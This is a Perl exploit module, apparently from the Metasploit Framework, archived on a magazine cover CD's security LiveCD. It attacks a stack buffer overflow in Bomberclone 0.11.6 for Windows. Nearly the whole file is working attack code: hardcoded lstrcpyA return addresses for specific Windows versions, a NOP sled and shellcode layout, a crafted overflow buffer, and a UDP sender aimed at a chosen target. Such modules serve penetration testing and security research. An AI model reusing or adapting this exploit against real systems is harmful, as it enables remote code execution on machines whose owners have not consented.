home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / bomberclone_overflow_win32.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  121 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::bomberclone_overflow_win32;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. my $advanced = { };
  14.  
  15. my $info =
  16.   {
  17.     'Name'  => 'Bomberclone 0.11.6 Buffer Overflow',
  18.     'Version'  => '$Revision: 2299 $',
  19.     'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
  20.  
  21.     'Arch'  => [ 'x86' ],
  22.     'OS'    => [ 'win32' ],
  23.     'Priv'  => 0,
  24.  
  25.     'UserOpts'  =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 11000],
  29.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  30.       },
  31.  
  32.     'Payload' =>
  33.       {
  34.         'Space'     => 344,
  35.         'BadChars'  => "\x00",
  36.         'Keys'      => ['+ws2ord'],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
  41.         The return address is overwritten with lstrcpyA memory address,
  42.         the second and third value are the destination buffer,
  43.         the fourth value is the source address of our buffer in the stack.
  44.         This exploit is like a return in libc.
  45.         
  46.                         ATTENTION
  47.     The shellcode is exec ONLY when someone try to close bomberclone. 
  48.   
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.         ['OSVDB', '23263'],
  54.         ['BID',   '16697'],
  55.         ['URL',   'http://www.frsirt.com/english/advisories/2006/0643'],
  56.       ],
  57.  
  58.     'Targets' =>
  59.       [
  60.         ['Windows XP SP2 Italian',     0x7c80c729 ],     #lstrcpyA address in kernel32.dll
  61.         ['Windows 2000 SP1 English',   0x77e85f08 ],     #lstrcpyA address in kernel32.dll
  62.         ['Windows 2000 SP0 Italian',   0x77e95e8b ],     #lstrcpyA address in kernel32.dll
  63.       ],
  64.  
  65.     'Keys' => ['bomberclone'],
  66.  
  67.     'DisclosureDate' => 'Feb 16 2006',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Exploit {
  77.     my $self = shift;
  78.     my $target_host = $self->GetVar('RHOST');
  79.     my $target_port = $self->GetVar('RPORT');
  80.     my $target_idx  = $self->GetVar('TARGET');
  81.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  82.  
  83.     my $target = $self->Targets->[$target_idx];
  84.  
  85.     if (! $self->InitNops(128)) {
  86.         $self->PrintLine("[*] Failed to initialize the nop module.");
  87.         return;
  88.     }
  89.     
  90.     my $nop = $self->MakeNops(421);
  91.  
  92.     my $pattern = $nop ;
  93.     $pattern .= $shellcode;
  94.     $pattern .= pack('V', $target->[1]);
  95.     $pattern .= "\x04\xec\xfd\x7f"x2;
  96.     $pattern .= "\xa4\xfa\x22\x00";        # our buffer in the stack it is always there
  97.  
  98.     my $request = "\x00\x00\x00\x00\x38\x03\x41" . $pattern . "\r\n";
  99.  
  100.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using lstrcpyA address at 0x%.8x...", $target->[1]));
  101.  
  102.     my $s = Msf::Socket::Udp->new
  103.       (
  104.         'PeerAddr'  => $target_host,
  105.         'PeerPort'  => $target_port,
  106.         'LocalPort' => $self->GetVar('CPORT'),
  107.         'SSL'       => $self->GetVar('SSL'),
  108.       );
  109.  
  110.     if ($s->IsError) {
  111.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  112.         return;
  113.     }
  114.  
  115.     $s->Send($request);
  116.     $s->Recv(-1, 10);
  117.     $s->Close();
  118.     return;
  119. }
  120.  
  121.